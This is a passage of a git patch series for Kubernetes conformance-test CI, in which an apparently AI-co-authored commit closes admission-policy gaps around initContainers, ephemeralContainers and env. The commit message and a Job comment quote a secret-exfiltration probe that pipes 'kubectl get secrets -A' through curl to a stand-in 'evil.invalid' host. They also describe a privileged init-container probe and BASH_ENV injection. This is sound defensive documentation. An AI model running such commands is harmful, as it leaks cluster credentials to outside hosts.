Conformance runner | `conformance/run.sh` + `conformance/lib/`, `conformance/tests/` | Works locally/in-cluster. `--layer l2,l3 [--requirements ...]`, writes `_artifacts/report.junit.xml` + `coverage/`. Needs bash + python3 + chainsaw (+ kubectl for `conf_cluster_reachable`). | -| In-cluster Job skeleton | `conformance/incluster/chainsaw-job.yaml` | Skeleton: `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, image `ghcr.io/kyverno/chainsaw:v0.2.12`, `command: ["./run.sh"]`, args default `--layer all --strict-coverage`. **`workspace` is an empty `emptyDir` with no init-container to populate it**, and `results` is an `emptyDir`. | +| In-cluster Job template | `conformance/incluster/chainsaw-job.yaml` | **DONE 2026-09-29 (§3 items 2+3).** `generateName: conformance-run-`, ns `conformance`, `serviceAccountName: conformance-runner`, `command: ["./run.sh"]`, digest-pinned `conformance-runner` image (digest substituted), init container `clone-suite-at-commit` populating `workspace`, `results` mounted at `/results` via `CONF_ARTIFACTS`, artifacts exported over stdout. Proven admissible: `kyverno apply` → `pass: 3, fail: 0`. Still blocked on the runner image (item 1) and the read-only Gitea Secret (item 6). | | Scoped runner RBAC | `conformance/incluster/rbac.yaml` | ns `conformance` + SA `conformance-runner` + a **privileged** ClusterRole (namespaces create/delete/patch, pods+pods/exec, jobs create/delete, **nodes get/list/patch** for R-STATE-02 cordon, pods/log). Least-privilege, per-test-justified. **Not reconciled by Flux** (no kustomization references `conformance/incluster/`). | | Runner deployment | `apps/wave-1/gitea-actions.yaml` | act_runner + DinD (Docker executor). **`automountServiceAccountToken: false`** — the runner and its job containers hold NO SA token. Broad egress allowed (`- {}`), so it can *reach* the kube-API VIP `192.168.1.49:6443`, but has no credential. | | Secrets encryption | `.sops.yaml` (repo root) | age recipient `age175l8m…mfzg`; encrypts `data`/`stringData` of `*.sops.yaml` under `platform|apps|catalog/**` and `secrets/**`. Private key is the in-cluster `sops-age` Secret Flux uses. | @@ -64,11 +64,27 @@ LIVE (and it is now PROD; dev was decommissioned 2026-09-12). `v0.2.12` + kubectl `v1.36.4` + git + python3 + bash), push to the Gitea container registry, pin its digest in `conformance/versions.env` (`CONFORMANCE_RUNNER_IMAGE`). Keep `CHAINSAW_VERSION` as the single source of truth the image is built from. -2. **Repo at the commit-under-test.** The Job must run the suite at the PR head SHA. → Add an +2. **Repo at the commit-under-test.** ✅ **LANDED 2026-09-29** (`conformance/incluster/chainsaw-job.yaml`). + Init container `clone-suite-at-commit`: shallow clone, fetch the exact commit if the shallow + tip lacks it, detach, then **assert `HEAD` == the requested SHA**. SHA arrives as a + `@@CONFORMANCE_GIT_SHA@@` substitution into a Job env var and is refused unless it matches + `^[0-9a-f]{40}$`. Credential = secret `conformance-git-readonly` (read-only Gitea token) by + **name only**, delivered as env via `secretKeyRef` — not a volume, because admission allows + only `workspace` and `results`. Still to do: build the runner image (item 1) and provision + that Secret (item 6). Original text: → Add an **init-container** (`git clone --depth 1` of the impl repo, then `git checkout `) writing into the shared `workspace` volume, using a **read-only** Gitea deploy token. SHA + the touched `--requirements` are injected by the CI trigger step as Job env/args. -3. **Results collection without giving CI exec/cp.** The Job writes `_artifacts/` to the `results` +3. **Results collection without giving CI exec/cp.** ✅ **LANDED 2026-09-29** (`conformance/run.sh`, + `conf_emit_artifacts_tgz`). `CONF_EMIT_ARTIFACTS_TGZ=1` arms an **EXIT trap** — so a FAILED run + still ships its red JUnit — that prints the artifact tree as a base64 tar between + `=== ARTIFACTS-TGZ-BASE64 BEGIN|END v1 rc=… bytes=… lines=… sha256=… ===`. The size, base64 + line count and digest appear in **both** markers, so a truncated `kubectl logs` fails + collection instead of decoding to plausible garbage; the five checks the collector owes are + spelled out above that function. It lives in `run.sh` and not in the Job because admission + pins `command` to exactly `["./run.sh"]`. Verified locally: full decode round-trips, and + head-truncation, tail-truncation, a dropped interior line and a single corrupted character are + each detected. Remaining: the decoder itself, in item 4. Original text: The Job writes `_artifacts/` to the `results` volume; CI holds only trigger/read rights (§4). → Job's last step prints a delimited base64 tar of `_artifacts/` to stdout (`=== ARTIFACTS-TGZ-BASE64 ===`…); CI decodes it from `kubectl logs`. No `pods/exec`, no `kubectl cp`, no results PVC exposure required. (A results diff --git a/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml b/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml index a40d5ca..c2c0b45 100644 --- a/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml +++ b/platform/kyverno/tests/conformance-trigger/kyverno-test.yaml @@ -19,20 +19,24 @@ resources: userinfo: user-info.yaml results: # ---- the committed run is ADMITTED ---- + # `real-template` is conformance/incluster/chainsaw-job.yaml as the CI trigger renders it: + # init container + env-from-secretKeyRef credential + the two allowed volumes. It is here + # so a template that drifts OUT of admission fails `make -C ci l0` rather than failing at + # 2am against the live cluster. `good-run` remains the minimal shape. - policy: conformance-trigger-job-shape rule: trigger-may-create-only-the-committed-conformance-run kind: Job - resources: [good-run] + resources: [good-run, real-template] result: pass - policy: conformance-trigger-job-shape rule: trigger-volumes-must-be-workspace-or-results kind: Job - resources: [good-run] + resources: [good-run, real-template] result: pass - policy: conformance-trigger-job-shape rule: trigger-args-must-be-the-committed-flags kind: Job - resources: [good-run] + resources: [good-run, real-template] result: pass # ---- THE escalation: runner SA + arbitrary command ---- diff --git a/platform/kyverno/tests/conformance-trigger/resources.yaml b/platform/kyverno/tests/conformance-trigger/resources.yaml index 471ed22..5b6d6d5 100644 --- a/platform/kyverno/tests/conformance-trigger/resources.yaml +++ b/platform/kyverno/tests/conformance-trigger/resources.yaml @@ -1,4 +1,79 @@ -# The committed shape — must be ADMITTED. +# THE COMMITTED TEMPLATE, as conformance/incluster/chainsaw-job.yaml renders it (plan §3 +# items 2 and 3): one compliant container, plus a git-clone INIT container, plus the git +# credential as env-from-secretKeyRef rather than a volume — because `workspace` and +# `results` are the only two volume names admission allows. Must be ADMITTED. +# +# This case exists so `make -C ci l0` fails if that template ever drifts out of admission. +# Keep the admission-relevant fields (image, serviceAccountName, command, args, volumes, +# securityContext, and the presence of the init container) in step with it. +# +# KNOWN GAP THIS CASE DOES NOT COVER: no rule reads `initContainers`, so this init +# container's command/args/image are unconstrained. Swapping its args for an exfiltration +# one-liner still yields pass 3 / fail 0 — see the OPEN SECURITY GAP block in +# conformance/incluster/chainsaw-job.yaml for the measurement and the follow-up. A DENY +# case is deliberately NOT added here: it would have to assert `pass` today, and would then +# break the very PR that fixes the policy. +apiVersion: batch/v1 +kind: Job +metadata: + name: real-template + namespace: conformance +spec: + template: + spec: + serviceAccountName: conformance-runner + securityContext: + runAsNonRoot: true + runAsUser: 65532 + fsGroup: 65532 + initContainers: + - name: clone-suite-at-commit + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999 + command: ["/bin/bash", "-c"] + args: ["git clone --depth 1 \"$CONFORMANCE_REPO_URL\" \"$CONFORMANCE_SRC\""] + env: + - name: CONFORMANCE_GIT_SHA + value: "0123456789abcdef0123456789abcdef01234567" + # BY SECRET NAME ONLY — and as env, not as a volume. + - name: GITEA_USERNAME + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: username } + - name: GITEA_TOKEN + valueFrom: + secretKeyRef: { name: conformance-git-readonly, key: token } + volumeMounts: + - { name: workspace, mountPath: /workspace } + securityContext: + runAsNonRoot: true + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + containers: + - name: chainsaw + image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:aaaabbbbccccddddeeeeffff0000111122223333444455556666777788889999 + workingDir: /workspace/src/conformance + command: ["./run.sh"] + args: ["--layer", "l2,l3", "--include-scope", "whole-repo", "--requirements", "R-NET-01,R-TLS-02"] + env: + - name: CONF_ARTIFACTS + value: /results + - name: CONF_EMIT_ARTIFACTS_TGZ + value: "1" + volumeMounts: + - { name: workspace, mountPath: /workspace } + - { name: results, mountPath: /results } + securityContext: + runAsNonRoot: true + allowPrivilegeEscalation: false + readOnlyRootFilesystem: true + capabilities: { drop: ["ALL"] } + volumes: + - name: workspace + emptyDir: {} + - name: results + emptyDir: {} +--- +# The minimal committed shape — must be ADMITTED. apiVersion: batch/v1 kind: Job metadata: From f6e8fb1fee172d2a9ff3ec3c0c5a354c9c4baee6 Mon Sep 17 00:00:00 2001 From: Keith Jackson Date: Tue, 29 Sep 2026 22:44:07 -0500 Subject: [PATCH 2/4] =?UTF-8?q?fix(sec):=20the=20trigger=20policy=20read?= =?UTF-8?q?=20`containers`=20and=20nothing=20else=20=E2=80=94=20initContai?= =?UTF-8?q?ners,=20ephemeralContainers=20and=20env=20were=20all=20open?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Authorised by the coordinator in this PR, reversing the brief's "do not touch the policy": the ban existed to stop the boundary being BENT to fit a Job, not to stop a hole being closed. MEASURED before this change (kyverno v1.19.0, pinned toolbox), `containers[0]` fully compliant, `serviceAccountName: conformance-runner`: * a `privileged: true` `docker.io/library/alpine:latest` initContainer running `kubectl get secrets -A` -> pass: 3, fail: 0 ADMITTED * the committed template with ONLY the init container's args swapped for `kubectl get secrets -A | curl -X POST ... http://evil.invalid/` -> pass: 3, fail: 0 ADMITTED Every rule read `spec.template.spec.containers` (rule 1's pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `=(privileged): "false"` only ever applied to `containers[0]`. `ephemeralContainers` and `env` were equally unread. Four new rules: * trigger-initcontainers-must-be-the-committed-clone-step — at most ONE initContainer, on the digest-pinned runner image, command ["/usr/local/bin/conformance-clone"], NO args, non-root, no privilege escalation, not privileged. * trigger-may-not-declare-ephemeral-containers. * trigger-env-names-must-be-the-committed-set — `command` is pinned, so injection moves to a variable the pinned command honours, and BASH_ENV alone is arbitrary code execution: bash sources it before running a non-interactive script, and the runner's command IS one. * trigger-may-not-use-envfrom — a whole Secret as env, whose keys are nowhere in the Job. All use `deny` conditions, not a `pattern`. A Kyverno array pattern asserts "at least one element matches", so a pattern-based init rule would have admitted the committed clone step PLUS an arbitrary second init container — fixture `second-initcontainer` exists because I nearly wrote it that way. THE ACTUAL FIX IS THAT THE CLONE SCRIPT LEFT THE JOB. Pinning `command` is worthless when the command is `/bin/bash -c` and the script arrives as `args`: a policy cannot distinguish the committed script from an attacker's, because both are just data. The logic now lives in the image at /usr/local/bin/conformance-clone, from `conformance/incluster/conformance-clone` (agent 1, PR #18 — which must merge before this template is usable). I had written a second copy of that script here and DELETED it: two copies of the clone entrypoint, one baked into the image and one not, drifts into "the reviewed file is not the file that runs". I read theirs first: the interface matches exactly (CONFORMANCE_GIT_SHA, GITEA_USERNAME/GITEA_TOKEN, baked clone target /workspace/src — which is what makes workingDir correct — TMPDIR/HOME under /workspace) and both load-bearing guards survived, the `^[0-9a-f]{40}$` SHA check and `rev-parse HEAD == SHA`. Env values and the `valueFrom` source Secret are deliberately NOT constrained: values are legitimately environment-specific, and conformance-runner can already read this namespace's Secrets via its own RBAC. Names are the vector, because a name is what a program keys on. Two Kyverno traps, commented in the rules because both silently invert the result: `not_null(x, `default`)` and never `||` (JMESPath treats `false` as falsy, so `allowPrivilegeEscalation || `true`` rewrites the COMPLIANT value into a denial); and `join(' ', command)` compared as a string, because Equals/NotEquals on arrays is unreliable and element-wise matching lets `["/bin/sh","-c",...]` through on element 0. ALSO: the committed `args` default was a shape that cannot run. Agent 1 measured that `--layer all --strict-coverage` and a bare `--requirements ` fail on the runner image, which ships no flux/promtool/kyverno/kustomize. Tracing run.sh gives the precise invariant — `requirement_scoped_dirs()` is layer-bounded only when `--layer` is given and is not `all`, and `offline_selected_dirs()` then filters to /l0-static/|/l1-rendering/ — so `--layer` is mandatory and must name only l2/l3. Default changed from `--layer all --strict-coverage` to `--layer l2,l3`, and the header now records that the plan's "PHASE EXIT: --layer all" shape CANNOT run in-cluster: a full-suite run is CI's L0/L1 plus this Job's L2/L3. The policy's args allowlist is deliberately NOT narrowed to match — a security boundary should not encode which toolchain an image ships, and an allowed-but-unrunnable shape fails loudly rather than escalating. PROVEN, NOT ASSERTED (7 rules): real rendered template -> pass: 7, fail: 0 coordinator's exact initContainer probe -> fail on trigger-initcontainers-... (6/1) ephemeralContainers probe -> fail on trigger-may-not-declare-... (6/1) Fixture matrix 65 pass / 13 fail / 0 error / 0 skip, full table in decisions/2026-09-29-conformance-job-template.md. Every evil init/ephemeral/env case still PASSES the three original rules — that column is the finding. `injected-initcontainer-env` PASSES the initContainer rule and is hostile purely through env, which is why env had to be its own rule. UNVERIFIED: whether the API server accepts `ephemeralContainers` in a Job pod template at all. Upstream the field is settable only via the pods/ephemeralcontainers subresource, but whether that check reaches a nested pod template is not something I could establish without a `create --dry-run=server`, a mutating request reserved to the operator (CLAUDE.md §5). Rule added regardless: a no-op if upstream rejects it, the same hole if not. Gate (toolbox): lint green (404 files), l0 green (kyverno test: 1 policy / 15 resources), render-golden green (10), l1 green; spec-immutability + gitea-settings SKIPPED; MERGE GATE UNDETERMINED rc 3. Nothing FAILED. Co-Authored-By: Claude Opus 5 (1M context) --- conformance/incluster/README.md | 71 +++-- conformance/incluster/chainsaw-job.yaml | 197 +++++++------- docs/plans/l2-l3-conformance-ci-wiring.md | 38 ++- .../conformance-trigger-job-shape.yaml | 233 ++++++++++++++++ .../conformance-trigger/kyverno-test.yaml | 59 ++++ .../tests/conformance-trigger/resources.yaml | 251 +++++++++++++++++- 6 files changed, 714 insertions(+), 135 deletions(-) diff --git a/conformance/incluster/README.md b/conformance/incluster/README.md index 5fe182e..5728e4b 100644 --- a/conformance/incluster/README.md +++ b/conformance/incluster/README.md @@ -26,11 +26,11 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). test lands. This is a **privileged test identity**: never reused by workloads, its own audit item. - `chainsaw-job.yaml` — the **run template** (not reconciled; the trigger renders it per - run). Single entrypoint `./run.sh`; a git-clone init container delivers the suite at the + run). Single entrypoint `./run.sh`; a clone init container delivers the suite at the commit under test; artifacts leave over stdout. Its header is the authority on the - substitution tokens, the admission constraints it satisfies, and **an open security gap - in the admission policy that it documents and does not exploit** — read it before - editing either file. + substitution tokens and the admission constraints it satisfies, and records the + `initContainers` hole that was found and closed alongside it — read it before editing + either file. - `Containerfile` — the **`conformance-runner`** image: `bash` + `python3` + `chainsaw` + `kubectl` + `git`, non-root (numeric uid 65532) and working under a read-only root filesystem. This is what the Job actually needs; the stock chainsaw image carries none of @@ -41,17 +41,26 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). kustomize, which this image deliberately omits. Use `--layer l2` / `--layer l3`. - `conformance-clone` — the init container's **only** entrypoint, baked into the image at `/usr/local/bin/conformance-clone` (0755 **root:root**, so uid 65532 cannot replace it). - Clones the impl repo at the commit under test: the SHA must match `^[0-9a-f]{40}$` and - `rev-parse HEAD` is **asserted** equal to it afterwards, so an unrendered placeholder is a - hard failure rather than a silent run of the branch tip. It takes **no arguments**, and the - repository URL and clone target are **compiled in** — see its header for why the env vars - are read but may not override them. - > **This file is half a fix.** The admission policy pins the main container's `command` but - > **never reads `initContainers`**, so an init container with `command: ["/bin/sh","-c"]` and - > an arbitrary script is currently ADMITTED and runs as the privileged `conformance-runner` - > SA. What makes this file *required* rather than merely available is a 4th policy rule - > demanding `command: ["/usr/local/bin/conformance-clone"]` with no `args`. That rule belongs - > in its own reviewed PR against the boundary and is **not** in this branch. + It is a file in the image rather than an inline script in the Job precisely so admission + can pin it: a policy cannot tell the committed script from an attacker's when both are + just `args` on `/bin/bash -c`. Clones the impl repo at the commit under test: the SHA must + match `^[0-9a-f]{40}$` and `rev-parse HEAD` is **asserted** equal to it afterwards, so an + unrendered placeholder is a hard failure rather than a silent run of the branch tip. It + takes **no arguments**, and the repository URL and clone target are **compiled in** — + `CONFORMANCE_REPO_URL`/`CONFORMANCE_SRC` are hard-failed on a mismatch rather than + honoured, because a URL taken from env would let the trigger choose which repository's + code runs as `conformance-runner`. This branch's Job depends on that interface: + `CONFORMANCE_GIT_SHA`, `GITEA_USERNAME`/`GITEA_TOKEN`, a clone target of `/workspace/src` + (hence `workingDir: /workspace/src/conformance`), and `TMPDIR`/`HOME` under `/workspace`. + > **The other half landed with this branch.** When `conformance-clone` arrived, the + > admission policy pinned the main container's `command` but **never read + > `initContainers`** — an init container with `command: ["/bin/sh","-c"]` and an arbitrary + > script was ADMITTED and ran as the privileged `conformance-runner` SA, so this file was + > merely *available* rather than *required*. The rule that closes it is + > `trigger-initcontainers-must-be-the-committed-clone-step`: at most one init container, + > digest-pinned to the conformance-runner image, `command` exactly + > `/usr/local/bin/conformance-clone`, and **no `args` at all**. `ephemeralContainers` and + > `env`/`envFrom` were the same shape of hole and are closed in the same policy. - `build-image.sh` — builds the above, **verifies the toolchain by running it** inside the image as uid 65532 with `--read-only`, and prints the digest. It **never pushes**: it prints the exact `podman push --digestfile …` command for the operator instead. See @@ -67,12 +76,13 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). pods + pods/log — *not* a broad kubeconfig, and deliberately **no `pods/exec`**). 2. Admission (`platform/kyverno/admission/conformance-trigger-job-shape.yaml`, Enforce + fail-closed) admits only the committed shape. That policy, not the RBAC, is the boundary. -3. The **init container** shallow-clones the repo into `/workspace/src`, fetches the commit - if the shallow tip does not already contain it, detaches onto it, and **asserts `HEAD` - equals the requested SHA** — the suite runs at the commit under test or not at all. The - read-only Gitea credential reaches `git` as env vars from `secretKeyRef` (secret - `conformance-git-readonly`, keys `username`/`token`), never as a volume: admission allows - no volume but `workspace` and `results`. +3. The **init container** runs `/usr/local/bin/conformance-clone` with **no args**: it + shallow-clones the repo into `/workspace/src`, fetches the commit if the shallow tip does + not already contain it, detaches onto it, and **asserts `HEAD` equals the requested SHA** — + the suite runs at the commit under test or not at all. The read-only Gitea credential + reaches `git` as env vars from `secretKeyRef` (secret `conformance-git-readonly`, keys + `username`/`token`), never as a volume: admission allows no volume but `workspace` and + `results`. 4. The runner executes `./run.sh` under `conformance-runner`, writing `report.junit.xml` + `coverage/` to the `results` volume at `/results` (`CONF_ARTIFACTS`). 5. On exit — green, red or aborted — `run.sh` prints a delimited base64 tar of that tree to @@ -81,13 +91,20 @@ credentials — the Job's own scoped ServiceAccount does (R-SEC-02). `conf_emit_artifacts_tgz()` in `../run.sh`; a partial log then fails collection instead of decoding to plausible garbage. -## Operator prerequisites (out of GitOps — neither exists yet) -- Secret `conformance-git-readonly` in namespace `conformance`, keys `username` and +## Prerequisites before this Job can run at all +- **Secret `conformance-git-readonly`** in namespace `conformance`, keys `username` and `token`: a **read-only** Gitea token for this repository. Never a write token or a - push-capable deploy key. -- The `conformance-runner` image built and pushed (plan §5 step 1); its digest is what the - trigger substitutes. The image must provide bash, git, python3, chainsaw and kubectl, and - a **uid 65532** non-root user, which the Job's `runAsUser`/`fsGroup` pin. + push-capable deploy key. **Does not exist** — operator, out of GitOps (plan §3 item 6). +- **The `conformance-runner` image** (plan §5 step 1) — built in **PR #18**, which must merge + before this template is usable; its digest is what the trigger substitutes. Contract the + image MUST meet, because the Job and the admission policy both depend on it: + - bash, git, python3, chainsaw and kubectl on `PATH`; + - a **uid 65532** non-root user — the Job's `runAsUser`/`fsGroup` pin it, so a different + uid in the Containerfile means the Job will not start; + - `conformance-clone` installed at **`/usr/local/bin/conformance-clone`**, + mode 0755. The policy rule `trigger-initcontainers-must-be-the-committed-clone-step` pins + that exact path, so an image without it cannot run the clone step and no other path will + be admitted. ## Phase 0 No cluster exists, so nothing here is applied yet. These manifests are reconciled by Flux diff --git a/conformance/incluster/chainsaw-job.yaml b/conformance/incluster/chainsaw-job.yaml index 5a27dc1..4214c5e 100644 --- a/conformance/incluster/chainsaw-job.yaml +++ b/conformance/incluster/chainsaw-job.yaml @@ -39,42 +39,70 @@ # resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission. # # ----------------------------------------------------------------------------- -# !! OPEN SECURITY GAP IN THAT POLICY — initContainers ARE NOT CONSTRAINED !! +# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29) # ----------------------------------------------------------------------------- -# MEASURED 2026-09-29 with the pinned kyverno CLI v1.19.0. Take this rendered template, -# replace ONLY the init container's `args` with -# kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/ -# and leave `containers[0]` untouched and compliant. Result: -# Applying 3 policy rule(s) to 1 resource(s)... -# pass: 3, fail: 0, warn: 0, error: 0, skip: 0 -# i.e. ADMITTED. All three rules read only `spec.template.spec.containers` (rule 1's -# pattern, rule 3's `containers[0].args`) or `volumes` (rule 2). `initContainers` is never -# examined, so the exact escalation the policy exists to stop — the privileged -# conformance-runner SA executing an arbitrary command — is still reachable, one field -# over. This template's OWN init container does not exploit that; the gap is the policy's, -# and it existed before this file had an init container at all. +# As originally written, the policy read only `spec.template.spec.containers` (rule 1's +# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was +# never examined, so the exact escalation the policy exists to stop was reachable one +# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully +# compliant: +# +# * this template with ONLY the init container's args replaced by +# `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/` +# * and (the coordinator's independent reproduction) a `privileged: true` +# `docker.io/library/alpine:latest` init container running `kubectl get secrets -A` +# +# -> pass: 3, fail: 0, warn: 0, error: 0, skip: 0 # BOTH ADMITTED +# +# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`. +# +# Closed by new rules in that policy, authorised by the coordinator in this PR +# (the original brief forbade policy edits; that was to stop the boundary being BENT to +# fit a Job, not to stop a hole being closed): +# * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init +# container, on the digest-pinned runner image, `command: +# ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation, +# not privileged. The clone logic moved OUT of this manifest and into the image for +# exactly this reason: a policy cannot vet a shell script passed as `args`, so the +# script had to stop being caller-supplied data. It stays reviewable as +# conformance/incluster/conformance-clone. +# * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same +# unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not +# verified here, and the rule costs nothing if it is true. +# * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env` +# was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable +# the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash +# sources it before running a non-interactive script. Names are allowlisted per container; +# VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately +# environment-specific, and conformance-runner can already read this namespace's Secrets +# through its own RBAC, so pinning the source would buy nothing). +# +# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ — +# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`, +# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`, +# `envfrom-whole-secret` — so they stay failing. +# +# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the +# committed shape" policy is only as good as its enumeration of every field that can carry +# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and +# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none +# does, that is the finding, not an oversight to work around. +# +# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed +# on a mismatch rather than honoured) for exactly this reason. Do not move it into env. # -# NOT FIXED HERE ON PURPOSE: the policy is a security boundary and a change to it belongs -# in its own reviewed PR, not smuggled in alongside the Job that has to satisfy it. -# FOLLOW-UP, in order of preference: -# 1. Bake this clone script into the runner image at a fixed path, drop `args` here, and -# add a 4th rule pinning `initContainers` to one container on the same digest-pinned -# image with `command: ["/usr/local/bin/conformance-clone"]` and NO args. Then an -# init container carries no caller-supplied code at all and the rule is one pattern. -# 2. Failing that, a rule denying any `initContainers` entry whose image is not the -# pinned runner image — weaker (the script stays caller-supplied) but it at least -# stops an arbitrary image running as conformance-runner. # Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is # supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter. # # ----------------------------------------------------------------------------- # WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}` # ----------------------------------------------------------------------------- -# The placeholder syntax is deliberately NOT shell syntax. The init container below is a -# bash script full of legitimate `${...}` references; running the template through -# `envsubst` would clobber every one of them. `@@NAME@@` cannot collide, and a surviving -# `@@` in a rendered manifest is trivially greppable as "the trigger forgot to render -# this". Render with a two-token sed, nothing cleverer: +# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by +# `envsubst`, which has no way to tell a token meant for rendering from a shell reference +# that belongs to a script — a trap this file walked into while the clone logic was still an +# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a +# rendered manifest is trivially greppable as "the trigger forgot to render this". Render +# with a two-token sed, nothing cleverer: # # sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \ # -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml @@ -88,13 +116,39 @@ # REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder # or an injected value is a hard failure, never a run of the wrong tree. # -# `args` is NOT a placeholder: it is a real list carrying the phase-exit default, and the -# trigger REPLACES it wholesale per invocation shape — -# MERGE GATE: ["--layer", "l2,l3", "--include-scope", "whole-repo", -# "--requirements", ""] -# PHASE EXIT: ["--layer", "all", "--strict-coverage"] -# Keeping it a committed list (not a substituted scalar) is what lets this file be handed -# to `kyverno apply` as-is. +# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per +# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this +# file be handed to `kyverno apply` as-is. +# +# ----------------------------------------------------------------------------- +# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3 +# ----------------------------------------------------------------------------- +# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT +# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a +# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not +# offline-only, and those stages need exactly those missing tools. Tracing run.sh: +# +# requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all; +# offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/. +# +# so: +# ["--layer","l2,l3"] -> offline selection EMPTY. RUNS. +# ["--layer","l2,l3","--requirements","R-NET-01"] -> intersected to L2/L3. RUNS. +# ["--layer","l2,l3","--include-scope","whole-repo"] -> scope union is ALSO +# layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS. +# ["--requirements","R-NET-01"] (no --layer, so LAYER=all) -> unbounded: pulls that +# requirement's L0/L1 tests into the run. FAILS on the missing toolchain. +# ["--layer","all","--strict-coverage"] -> every L0/L1 test. FAILS. +# +# The first three are measured working by the image build (PR #18); the last two are measured +# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a +# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone. +# The committed default below is the narrowest shape that works. +# +# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a +# security boundary should not encode which toolchain an image happens to ship, and the failure +# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This +# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land. # # ----------------------------------------------------------------------------- # RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable @@ -152,67 +206,25 @@ spec: # --------------------------------------------------------------------- # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace. # - # The credential is a READ-ONLY Gitea token, referenced by secret name only. It - # reaches git through an inline credential helper that reads the ENVIRONMENT, so - # the token never appears in argv (where `ps` and the Pod spec would show it) and - # is never written to disk. + # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at + # conformance/incluster/conformance-clone and is baked into the runner image at + # /usr/local/bin/conformance-clone. That is what makes the init container + # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` + + # `args: [